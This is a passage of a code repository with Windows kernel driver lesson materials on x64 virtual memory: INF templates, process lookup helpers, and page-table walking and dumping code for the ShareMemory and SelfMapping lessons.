rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /08.03.ShareMemory/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _08_03_ShareMemory.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_08_03_ShareMemory.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _08_03_ShareMemory_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 08.03.ShareMemory.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_08_03_ShareMemory.DeviceDesc%=_08_03_ShareMemory_Device, Root\_08_03_ShareMemory ; TODO: edit hw-id 34 | 35 | [_08_03_ShareMemory_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 08.03.ShareMemory.sys 40 | 41 | ;-------------- Service installation 42 | [_08_03_ShareMemory_Device.NT.Services] 43 | AddService = _08_03_ShareMemory,%SPSVCINST_ASSOCSERVICE%, _08_03_ShareMemory_Service_Inst 44 | 45 | ; -------------- _08_03_ShareMemory driver install sections 46 | [_08_03_ShareMemory_Service_Inst] 47 | DisplayName = %_08_03_ShareMemory.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_08_03_ShareMemory.sys 52 | 53 | ; 54 | ;--- _08_03_ShareMemory_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_08_03_ShareMemory_Device.NT.CoInstallers] 58 | AddReg=_08_03_ShareMemory_Device_CoInstaller_AddReg 59 | CopyFiles=_08_03_ShareMemory_Device_CoInstaller_CopyFiles 60 | 61 | [_08_03_ShareMemory_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_08_03_ShareMemory_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_08_03_ShareMemory_Device.NT.Wdf] 68 | KmdfService = _08_03_ShareMemory, _08_03_ShareMemory_wdfsect 69 | [_08_03_ShareMemory_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_08_03_ShareMemory Installation Disk" 76 | _08_03_ShareMemory.DeviceDesc = "_08_03_ShareMemory Device" 77 | _08_03_ShareMemory.SVCDESC = "_08_03_ShareMemory Service" 78 | -------------------------------------------------------------------------------- /08.03.ShareMemory/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/08.03.ShareMemory/main.c -------------------------------------------------------------------------------- /08.03.ShareMemory/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /08.03.ShareMemory/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // winternl.h 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemBasicInformation = 0, 7 | SystemPerformanceInformation = 2, 8 | SystemTimeOfDayInformation = 3, 9 | SystemProcessInformation = 5, 10 | SystemProcessorPerformanceInformation = 8, 11 | SystemInterruptInformation = 23, 12 | SystemExceptionInformation = 33, 13 | SystemRegistryQuotaInformation = 37, 14 | SystemLookasideInformation = 45, 15 | SystemCodeIntegrityInformation = 103, 16 | SystemPolicyInformation = 134, 17 | } SYSTEM_INFORMATION_CLASS; 18 | 19 | // winternl.h 20 | typedef struct _SYSTEM_PROCESS_INFORMATION { 21 | ULONG NextEntryOffset; 22 | ULONG NumberOfThreads; 23 | UCHAR Reserved1[48]; 24 | UNICODE_STRING ImageName; 25 | KPRIORITY BasePriority; 26 | HANDLE UniqueProcessId; 27 | PVOID Reserved2; 28 | ULONG HandleCount; 29 | ULONG SessionId; 30 | PVOID Reserved3; 31 | SIZE_T PeakVirtualSize; 32 | SIZE_T VirtualSize; 33 | ULONG Reserved4; 34 | SIZE_T PeakWorkingSetSize; 35 | SIZE_T WorkingSetSize; 36 | PVOID Reserved5; 37 | SIZE_T QuotaPagedPoolUsage; 38 | PVOID Reserved6; 39 | SIZE_T QuotaNonPagedPoolUsage; 40 | SIZE_T PagefileUsage; 41 | SIZE_T PeakPagefileUsage; 42 | SIZE_T PrivatePageCount; 43 | LARGE_INTEGER Reserved7[6]; 44 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 45 | 46 | // winternl.h 47 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 48 | NTKERNELAPI 49 | NTSTATUS 50 | NtQuerySystemInformation( 51 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 52 | PVOID SystemInformation, 53 | ULONG SystemInformationLength, 54 | PULONG ReturnLength 55 | ); 56 | 57 | NTSTATUS 58 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 59 | 60 | NTSTATUS 61 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 62 | -------------------------------------------------------------------------------- /08.03.ShareMemory/x64.c: -------------------------------------------------------------------------------- 1 | #include "x64.h" 2 | 3 | NTSTATUS 4 | CurrentProcessVaToPa(VA Va, PPA Pa) 5 | { 6 | CR3 Cr3 = { .Value = __readcr3() }; 7 | 8 | PA L1ptPa = { .Fields4KB.PPN = Cr3.Fields.PPN }; 9 | PL1PTE L1pt = MmGetVirtualForPhysical(L1ptPa.AsLargeInteger); 10 | L1PTE L1pte = L1pt[Va.Fields.VPN1]; 11 | if (!L1pte.Fields.P) return STATUS_INVALID_ADDRESS; 12 | 13 | PA L2ptPa = { .Fields4KB.PPN = L1pte.Fields.PPN }; 14 | PL2PTE L2pt = MmGetVirtualForPhysical(L2ptPa.AsLargeInteger); 15 | L2PTE L2pte = L2pt[Va.Fields.VPN2]; 16 | if (!L2pte.Fields.P) return STATUS_INVALID_ADDRESS; 17 | 18 | if (L2pte.Fields1GB.PS) 19 | { 20 | *Pa = (PA){ .Fields1GB = { 21 | .PPN = L2pte.Fields1GB.PPN, 22 | .PPO = Va.Fields1GB.VPO 23 | } }; 24 | return STATUS_SUCCESS; 25 | } 26 | 27 | PA L3ptPa = { .Fields4KB.PPN = L2pte.Fields.PPN }; 28 | PL3PTE L3pt = MmGetVirtualForPhysical(L3ptPa.AsLargeInteger); 29 | L3PTE L3pte = L3pt[Va.Fields.VPN3]; 30 | if (!L3pte.Fields.P) return STATUS_INVALID_ADDRESS; 31 | 32 | if (L3pte.Fields2MB.PS) 33 | { 34 | *Pa = (PA){ .Fields2MB = { 35 | .PPN = L3pte.Fields2MB.PPN, 36 | .PPO = Va.Fields2MB.VPO 37 | } }; 38 | return STATUS_SUCCESS; 39 | } 40 | 41 | PA L4ptPa = { .Fields4KB.PPN = L3pte.Fields.PPN }; 42 | PL4PTE L4pt = MmGetVirtualForPhysical(L4ptPa.AsLargeInteger); 43 | L4PTE L4pte = L4pt[Va.Fields.VPN4]; 44 | if (!L4pte.Fields.P) return STATUS_INVALID_ADDRESS; 45 | 46 | *Pa = (PA){ .Fields4KB = { 47 | .PPN = L4pte.Fields.PPN, 48 | .PPO = Va.Fields4KB.VPO 49 | } }; 50 | return STATUS_SUCCESS; 51 | } 52 | 53 | NTSTATUS 54 | VaToPa(PEPROCESS Process, VA Va, PPA Pa) 55 | { 56 | if (PsGetCurrentProcess() == Process) return CurrentProcessVaToPa(Va, Pa); 57 | 58 | NTSTATUS Status; 59 | KAPC_STATE ApcState; 60 | KeStackAttachProcess(Process, &ApcState); 61 | Status = CurrentProcessVaToPa(Va, Pa); 62 | KeUnstackDetachProcess(&ApcState); 63 | return Status; 64 | } 65 | -------------------------------------------------------------------------------- /08.03.ShareMemory/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | struct 178 | { 179 | UINT64 VPO : 12; 180 | UINT64 VPN4 : 9; 181 | UINT64 VPN3 : 9; 182 | UINT64 VPN2 : 9; 183 | UINT64 VPN1 : 9; 184 | UINT64 SEXT : 16; 185 | } Fields4KB; 186 | struct 187 | { 188 | UINT64 VPO : 21; 189 | UINT64 VPN3 : 9; 190 | UINT64 VPN2 : 9; 191 | UINT64 VPN1 : 9; 192 | UINT64 SEXT : 16; 193 | } Fields2MB; 194 | struct 195 | { 196 | UINT64 VPO : 30; 197 | UINT64 VPN2 : 9; 198 | UINT64 VPN1 : 9; 199 | UINT64 SEXT : 16; 200 | } Fields1GB; 201 | struct 202 | { 203 | UINT64 Ignored1 : 12; 204 | UINT64 VPN4 : 9; 205 | UINT64 VPN3 : 9; 206 | UINT64 VPN2 : 9; 207 | UINT64 VPN1 : 9; 208 | UINT64 Ignored2 : 16; 209 | } Fields; 210 | } VA, * PVA; 211 | static_assert(sizeof(VA) == 8, "sizeof VA"); 212 | 213 | NTSTATUS 214 | VaToPa(PEPROCESS Process, VA Va, PPA Pa); 215 | -------------------------------------------------------------------------------- /10.01.SelfMapping/10.01.SelfMapping.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /10.01.SelfMapping/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _10_01_SelfMapping.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_10_01_SelfMapping.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _10_01_SelfMapping_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 10.01.SelfMapping.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_10_01_SelfMapping.DeviceDesc%=_10_01_SelfMapping_Device, Root\_10_01_SelfMapping ; TODO: edit hw-id 34 | 35 | [_10_01_SelfMapping_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 10.01.SelfMapping.sys 40 | 41 | ;-------------- Service installation 42 | [_10_01_SelfMapping_Device.NT.Services] 43 | AddService = _10_01_SelfMapping,%SPSVCINST_ASSOCSERVICE%, _10_01_SelfMapping_Service_Inst 44 | 45 | ; -------------- _10_01_SelfMapping driver install sections 46 | [_10_01_SelfMapping_Service_Inst] 47 | DisplayName = %_10_01_SelfMapping.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_10_01_SelfMapping.sys 52 | 53 | ; 54 | ;--- _10_01_SelfMapping_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_10_01_SelfMapping_Device.NT.CoInstallers] 58 | AddReg=_10_01_SelfMapping_Device_CoInstaller_AddReg 59 | CopyFiles=_10_01_SelfMapping_Device_CoInstaller_CopyFiles 60 | 61 | [_10_01_SelfMapping_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_10_01_SelfMapping_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_10_01_SelfMapping_Device.NT.Wdf] 68 | KmdfService = _10_01_SelfMapping, _10_01_SelfMapping_wdfsect 69 | [_10_01_SelfMapping_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_10_01_SelfMapping Installation Disk" 76 | _10_01_SelfMapping.DeviceDesc = "_10_01_SelfMapping Device" 77 | _10_01_SelfMapping.SVCDESC = "_10_01_SelfMapping Service" 78 | -------------------------------------------------------------------------------- /10.01.SelfMapping/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/10.01.SelfMapping/main.c -------------------------------------------------------------------------------- /10.01.SelfMapping/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /10.01.SelfMapping/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // winternl.h 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemBasicInformation = 0, 7 | SystemPerformanceInformation = 2, 8 | SystemTimeOfDayInformation = 3, 9 | SystemProcessInformation = 5, 10 | SystemProcessorPerformanceInformation = 8, 11 | SystemInterruptInformation = 23, 12 | SystemExceptionInformation = 33, 13 | SystemRegistryQuotaInformation = 37, 14 | SystemLookasideInformation = 45, 15 | SystemCodeIntegrityInformation = 103, 16 | SystemPolicyInformation = 134, 17 | } SYSTEM_INFORMATION_CLASS; 18 | 19 | // winternl.h 20 | typedef struct _SYSTEM_PROCESS_INFORMATION { 21 | ULONG NextEntryOffset; 22 | ULONG NumberOfThreads; 23 | UCHAR Reserved1[48]; 24 | UNICODE_STRING ImageName; 25 | KPRIORITY BasePriority; 26 | HANDLE UniqueProcessId; 27 | PVOID Reserved2; 28 | ULONG HandleCount; 29 | ULONG SessionId; 30 | PVOID Reserved3; 31 | SIZE_T PeakVirtualSize; 32 | SIZE_T VirtualSize; 33 | ULONG Reserved4; 34 | SIZE_T PeakWorkingSetSize; 35 | SIZE_T WorkingSetSize; 36 | PVOID Reserved5; 37 | SIZE_T QuotaPagedPoolUsage; 38 | PVOID Reserved6; 39 | SIZE_T QuotaNonPagedPoolUsage; 40 | SIZE_T PagefileUsage; 41 | SIZE_T PeakPagefileUsage; 42 | SIZE_T PrivatePageCount; 43 | LARGE_INTEGER Reserved7[6]; 44 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 45 | 46 | // winternl.h 47 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 48 | NTKERNELAPI 49 | NTSTATUS 50 | NtQuerySystemInformation( 51 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 52 | PVOID SystemInformation, 53 | ULONG SystemInformationLength, 54 | PULONG ReturnLength 55 | ); 56 | 57 | NTSTATUS 58 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 59 | 60 | NTSTATUS 61 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 62 | -------------------------------------------------------------------------------- /10.01.SelfMapping/x64.c: -------------------------------------------------------------------------------- 1 | #include "x64.h" 2 | 3 | VOID 4 | DumpCurrentProcessUserPageTable() 5 | { 6 | 7 | CR3 Cr3 = { .Value = __readcr3() }; 8 | PA L1ptPa = (PA){ .Fields4KB.PPN = Cr3.Fields.PPN }; 9 | DbgPrint("data={title:'Cr3',items:[['Value','0x%016I64X'],['PPN','0x%016I64X'],['L1pt.Pa','0x%016I64X'," 10 | , Cr3.Value 11 | , Cr3.Fields.PPN 12 | , L1ptPa.Value 13 | ); 14 | 15 | PL1PTE L1pt = MmGetVirtualForPhysical(L1ptPa.AsLargeInteger); 16 | DbgPrint("{title:'L1pt',items:["); 17 | for (int n1 = 0; n1 < 512; n1++) 18 | { 19 | if (!L1pt[n1].Fields.P || !L1pt[n1].Fields.U_S) continue; 20 | PA L2ptPa = { .Fields4KB.PPN = L1pt[n1].Fields.PPN }; 21 | DbgPrint("['%03d', '" 22 | " Value=0x%016I64X\\n" 23 | " R/W=%I64d\\n" 24 | " PPN=0x%016I64X\\n" 25 | "L2pt.Pa=0x%016I64X'," 26 | , n1 27 | , L1pt[n1].Value 28 | , L1pt[n1].Fields.R_W 29 | , L1pt[n1].Fields.PPN 30 | , L2ptPa.Value 31 | ); 32 | PL2PTE L2pt = MmGetVirtualForPhysical(L2ptPa.AsLargeInteger); 33 | DbgPrint("{title:'L1pt[%03d].L2pt',items:[", n1); 34 | for (int n2 = 0; n2 < 512; n2++) 35 | { 36 | if (!L2pt[n2].Fields.P || !L2pt[n2].Fields.U_S) continue; 37 | if (L2pt[n2].Fields1GB.PS) { 38 | PA Pa = { .Fields1GB.PPN = L2pt[n2].Fields1GB.PPN }; 39 | DbgPrint("['%03d','" 40 | " Value=0x%016I64X\\n" 41 | " R/W=%I64d\\n" 42 | " PS=%I64d\\n" 43 | " PPN=0x%016I64X\\n" 44 | " Pa=0x%016I64X']," 45 | , n2 46 | , L2pt[n2].Value 47 | , L1pt[n1].Fields.R_W 48 | , L2pt[n2].Fields.PS 49 | , L2pt[n2].Fields.PPN 50 | , Pa.Value 51 | ); 52 | continue; 53 | } 54 | PA L3ptPa = { .Fields4KB.PPN = L2pt[n2].Fields.PPN }; 55 | DbgPrint("['%03d','" 56 | " Value=0x%016I64X\\n" 57 | " R/W=%I64d\\n" 58 | " PS=%I64d\\n" 59 | " PPN=0x%016I64X\\n" 60 | "L3pt.Pa=0x%016I64X'," 61 | , n2 62 | , L2pt[n2].Value 63 | , L1pt[n1].Fields.R_W 64 | , L2pt[n2].Fields.PS 65 | , L2pt[n2].Fields.PPN 66 | , L3ptPa.Value 67 | ); 68 | PL3PTE L3pt = MmGetVirtualForPhysical(L3ptPa.AsLargeInteger); 69 | DbgPrint("{title:'L1pt[%03d].L2pt[%03d].L3pt',items:[", n1, n2); 70 | for (int n3 = 0; n3 < 512; n3++) 71 | { 72 | if (!L3pt[n3].Fields.P || !L3pt[n3].Fields.U_S) continue; 73 | if (L3pt[n3].Fields2MB.PS) 74 | { 75 | PA Pa = { .Fields2MB.PPN = L3pt[n3].Fields2MB.PPN }; 76 | DbgPrint("['%03d','" 77 | " Value=0x%016I64X\\n" 78 | " R/W=%I64d\\n" 79 | " PS=%I64d\\n" 80 | " PPN=0x%016I64X\\n" 81 | " Pa=0x%016I64X']," 82 | , n3 83 | , L3pt[n3].Value 84 | , L3pt[n3].Fields.R_W 85 | , L3pt[n3].Fields.PS 86 | , L3pt[n3].Fields.PPN 87 | , Pa.Value 88 | ); 89 | continue; 90 | } 91 | PA L4ptPa = { .Fields4KB.PPN = L3pt[n3].Fields.PPN }; 92 | 